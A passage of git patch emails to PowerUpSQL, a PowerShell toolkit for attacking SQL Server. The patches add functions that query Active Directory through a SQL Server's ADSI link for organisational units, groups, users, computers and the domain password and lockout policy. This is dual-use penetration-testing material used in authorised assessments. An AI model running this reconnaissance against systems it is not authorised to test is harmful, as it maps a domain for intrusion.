$Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Call Get-SQLDomainObject + if($UseAdHoc){ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=Group)' -LdapFields 'name,whencreated,whenchanged,adspath' -UseAdHoc + }else{ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=Group)' -LdapFields 'name,whencreated,whenchanged,adspath' + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + } +} + + # ---------------------------------- # Get-SQLSysadminCheck # ---------------------------------- diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index b123851..bc3ad94 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.88.113' + ModuleVersion = '1.89.113' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -29,6 +29,7 @@ 'Get-SQLDomainObject', 'Get-SQLDomainComputer', 'Get-SQLDomainUser', + 'Get-SQLDomainGroup', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', 'Get-SQLFuzzObjectName', From 7c8fb846cc3088fe740dcd1f2ec7e372ceae9f05 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 23 Oct 2017 16:20:48 -0500 Subject: [PATCH 138/145] Add Get-SQLDomainOu Add Get-SQLDomainOu --- PowerUpSQL.ps1 | 140 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 141 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index bb0628e..7e76679 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.89.113 + Version: 1.90.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7363,6 +7363,8 @@ Function Get-SQLDomainUser } + + # ---------------------------------- # Get-SQLDomainComputer # ---------------------------------- @@ -7499,6 +7501,142 @@ Function Get-SQLDomainComputer } } +# ---------------------------------- +# Get-SQLDomainOu +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLDomainOu +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain organization units (ou) + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .EXAMPLE + PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc + .EXAMPLE + PS C:\> GGet-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainOu -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Call Get-SQLDomainObject + if($UseAdHoc){ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' -UseAdHoc + }else{ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + } +} + # ---------------------------------- # Get-SQLDomainGroup diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index bc3ad94..a4dc24b 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.89.113' + ModuleVersion = '1.90.113' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -30,6 +30,7 @@ 'Get-SQLDomainComputer', 'Get-SQLDomainUser', 'Get-SQLDomainGroup', + 'Get-SQLDomainOu', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', 'Get-SQLFuzzObjectName', From 0928f9f05185bb0f2d08b259fcf85198ece9812e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 23 Oct 2017 16:26:46 -0500 Subject: [PATCH 139/145] Add Get-SQLDomainAccountPolicy Add Get-SQLDomainAccountPolicy --- PowerUpSQL.ps1 | 141 +++++++++++++++++++++++++++++++++++++++++++++++- PowerUpSQL.psd1 | 3 +- 2 files changed, 141 insertions(+), 3 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7e76679..7db4053 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.90.113 + Version: 1.91.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7532,7 +7532,7 @@ Function Get-SQLDomainOu .EXAMPLE PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE - PS C:\> GGet-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' .EXAMPLE PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose .EXAMPLE @@ -7638,6 +7638,143 @@ Function Get-SQLDomainOu } +# ---------------------------------- +# Get-SQLDomainAccountPolicy +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLDomainAccountPolicy +{ + <# + .SYNOPSIS + Using the OLE DB ADSI provider, query Active Directory for a list of domain account policy + via the domain logon server associated with the SQL Server. This can be + done using a SQL Server link (OpenQuery) or AdHoc query (OpenRowset). Use the -UseAdHoc + flag to switch between modes. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER LinkUsername + Domain account used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER LinkPassword + Domain account password used to authenticate to LDAP through SQL Server ADSI link. + .PARAMETER UseAdHoc + Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .PARAMETER Threads + Number of concurrent host threads. + .EXAMPLE + PS C:\> Get-SQLDomainAccountPolicy -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc + .EXAMPLE + PS C:\> Get-SQLDomainAccountPolicy -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLDomainAccountPolicy -Instance SQLServer1\STANDARDDEV2014 -Verbose + .EXAMPLE + PS C:\> Get-SQLDomainAccountPolicy -Instance SQLServer1\STANDARDDEV2014 -Verbose -LinkUsername 'domain\user' -LinkPassword 'Password123!' + .EXAMPLE + PS C:\> Get-SQLInstanceLocal | Get-SQLDomainAccountPolicy -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate to SQL Server.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate to SQL Server.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkUsername, + + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account password used to authenticate to LDAP through SQL Server ADSI link.')] + [string]$LinkPassword, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] + [Switch]$UseAdHoc, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads. This is the number of instance to process at a time')] + [int]$Threads = 2, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + # Create data tables for output + $TblResults = New-Object -TypeName System.Data.DataTable + + # Setup data table for pipeline threading + $PipelineItems = New-Object -TypeName System.Data.DataTable + + # set instance to local host by default + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Ensure provided instance is processed + if($Instance) + { + $ProvideInstance = New-Object -TypeName PSObject -Property @{ + Instance = $Instance + } + } + + # Add instance to instance list + $PipelineItems = $PipelineItems + $ProvideInstance + } + + Process + { + # Create list of pipeline items + $PipelineItems = $PipelineItems + $_ + } + + End + { + # Define code to be multi-threaded + $MyScriptBlock = { + + # Set instance + $Instance = $_.Instance + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Call Get-SQLDomainObject + if($UseAdHoc){ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' -UseAdHoc + }else{ + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=domainDNS)' -LdapFields 'pwdhistorylength,lockoutthreshold,lockoutduration,lockoutobservationwindow,minpwdlength,minpwdage,pwdproperties,whenchanged,gplink' + } + } + + # Run scriptblock using multi-threading + $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue + } +} + + # ---------------------------------- # Get-SQLDomainGroup # ---------------------------------- diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index a4dc24b..9b4c844 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.90.113' + ModuleVersion = '1.91.113' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -31,6 +31,7 @@ 'Get-SQLDomainUser', 'Get-SQLDomainGroup', 'Get-SQLDomainOu', + 'Get-SQLDomainAccountPolicy', 'Get-SQLFuzzDatabaseName', 'Get-SQLFuzzDomainAccount', 'Get-SQLFuzzObjectName', From 7fce991411c798ba67f4b5f17f664daa8b3f0052 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 24 Oct 2017 12:53:33 -0500 Subject: [PATCH 140/145] Update Get-SQLDomainObject Update Get-SQLDomainObject --- PowerUpSQL.ps1 | 18 +++++++++++++++++- PowerUpSQL.psd1 | 2 +- 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7db4053..456bdb5 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.91.113 + Version: 1.91.114 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7000,6 +7000,7 @@ Function Get-SQLDomainObject $SQLServerMajorVersion = $ServerInfo.SQLServerMajorVersion $SQLServerEdition = $ServerInfo.SQLServerEdition $SQLServerVersionNumber = $ServerInfo.SQLServerVersionNumber + $SQLCurrentLogin = $ServerInfo.Currentlogin # Status user If (-not($SuppressVerbose)){ @@ -7019,6 +7020,21 @@ Function Get-SQLDomainObject Write-Verbose -Message "$Instance : You have sysadmin privileges." } } + + # When the following conditions are met stop, because it won't work + # sysadmin (implicit at this point in the code) + type sql login + no adhoc or provided link cred + if ($SQLCurrentLogin -notlike "*\*") + { + if(($UseAdHoc) -or ($LinkPassword)){ + # note + }else{ + Write-Verbose -Message "$Instance : A SQL Login with sysadmin privileges cannot execute ASDI queries through a linked server by itself." + Write-Verbose -Message "$Instance : Try one of the following:" + Write-Verbose -Message "$Instance : - Run the command again with the -UseAdHoc flag " + Write-Verbose -Message "$Instance : - Run the command again and provide -LinkUser and -LinkPassword" + return + } + } # Setup the LDAP Path if(-not $LdapPath ){ diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 9b4c844..daee8fe 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.91.113' + ModuleVersion = '1.91.114' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From fd202ce36f1756e0138cd4484706f6dc769418f6 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 24 Oct 2017 13:57:10 -0500 Subject: [PATCH 141/145] Update Get-SQLDomainUser Update Get-SQLDomainUser - added samaccountname filter. --- PowerUpSQL.ps1 | 18 +++++++++++++++--- PowerUpSQL.psd1 | 2 +- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 456bdb5..1abc3e3 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.91.114 + Version: 1.91.115 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7270,6 +7270,8 @@ Function Get-SQLDomainUser SQL Server instance to connection to. .PARAMETER Threads Number of concurrent host threads. + .PARAMETER FilterUser + Domain user to filter for. .EXAMPLE PS C:\> Get-SQLDomainUser -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -7317,6 +7319,11 @@ Function Get-SQLDomainUser HelpMessage = 'Number of threads. This is the number of instance to process at a time')] [int]$Threads = 2, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain user to filter for.')] + [string]$FilterUser, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -7346,6 +7353,11 @@ Function Get-SQLDomainUser # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance + + # Setup user filter + if((-not $FilterUser)){ + $FilterUser = '*' + } } Process @@ -7367,9 +7379,9 @@ Function Get-SQLDomainUser # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Person)(objectClass=user)(SamAccountName=$FilterUser))" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(&(objectCategory=Person)(objectClass=user))' -LdapFields 'samaccountname,name,admincount,whencreated,whenchanged,adspath' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Person)(objectClass=user)(SamAccountName=$FilterUser))" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" } } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index daee8fe..9123f42 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.91.114' + ModuleVersion = '1.91.115' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 0aff2acf217317f5803ba790b1636005488133b3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 24 Oct 2017 14:04:17 -0500 Subject: [PATCH 142/145] Update Get-SQLDomainGroup Update Get-SQLDomainGroup - added name filter. --- PowerUpSQL.ps1 | 18 +++++++++++++++--- PowerUpSQL.psd1 | 2 +- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 1abc3e3..59306eb 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.91.115 + Version: 1.91.116 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7829,6 +7829,8 @@ Function Get-SQLDomainGroup SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER FilterGroup + Domain group to filter for. .PARAMETER Threads Number of concurrent host threads. .EXAMPLE @@ -7870,6 +7872,11 @@ Function Get-SQLDomainGroup HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain group to filter for.')] + [string]$FilterGroup, + [Parameter(Mandatory = $false, HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, @@ -7907,6 +7914,11 @@ Function Get-SQLDomainGroup # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance + + # Setup user filter + if((-not $FilterGroup)){ + $FilterGroup = '*' + } } Process @@ -7928,9 +7940,9 @@ Function Get-SQLDomainGroup # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=Group)' -LdapFields 'name,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectClass=Group)(name=$FilterGroup))" -LdapFields 'name,whencreated,whenchanged,adspath' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectClass=Group)' -LdapFields 'name,whencreated,whenchanged,adspath' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectClass=Group)(name=$FilterGroup))" -LdapFields 'name,whencreated,whenchanged,adspath' } } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index 9123f42..f7c7468 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.91.115' + ModuleVersion = '1.91.116' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 4e7a0d01b01771eb550cc8ebee6280b57ad2be61 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Tue, 24 Oct 2017 14:10:06 -0500 Subject: [PATCH 143/145] Update Get-SQLDomainComputer Update Get-SQLDomainComputer - add samaccountname filter. --- PowerUpSQL.ps1 | 20 ++++++++++++++++---- PowerUpSQL.psd1 | 2 +- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 59306eb..fa50664 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.91.116 + Version: 1.91.117 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7419,6 +7419,8 @@ Function Get-SQLDomainComputer SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER FilterComputer + Domain computer to filter for. .PARAMETER Threads Number of concurrent host threads. .EXAMPLE @@ -7460,6 +7462,11 @@ Function Get-SQLDomainComputer HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain computer to filter for.')] + [string]$FilterComputer, + [Parameter(Mandatory = $false, HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, @@ -7497,6 +7504,11 @@ Function Get-SQLDomainComputer # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance + + # Setup computer filter + if((-not $FilterComputer)){ + $FilterComputer = '*' + } } Process @@ -7518,9 +7530,9 @@ Function Get-SQLDomainComputer # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=Computer)' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=Computer)' -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemservicepack,whencreated,whenchanged,adspath' } } @@ -7915,7 +7927,7 @@ Function Get-SQLDomainGroup # Add instance to instance list $PipelineItems = $PipelineItems + $ProvideInstance - # Setup user filter + # Setup group filter if((-not $FilterGroup)){ $FilterGroup = '*' } diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index f7c7468..ba5b59c 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.91.116' + ModuleVersion = '1.91.117' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' From 9223434f0796451f66c6e51b74c1ceb68ba8217a Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sat, 28 Oct 2017 09:06:11 -0500 Subject: [PATCH 144/145] Update Get-SQLDomainObject - Update verbose output - Added record count - Updated language --- PowerUpSQL.ps1 | 24 +++++++++++++++++++----- PowerUpSQL.psd1 | 2 +- 2 files changed, 20 insertions(+), 6 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index fa50664..2d326de 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2016 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.91.117 + Version: 1.91.118 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -7195,7 +7195,7 @@ Function Get-SQLDomainObject # Status user If (-not($SuppressVerbose)){ - Write-Verbose -Message "$Instance : Grabbing list of domain users from ADS using ADSI OLEDB..." + Write-Verbose -Message "$Instance : LDAP query against logon server using ADSI OLEDB 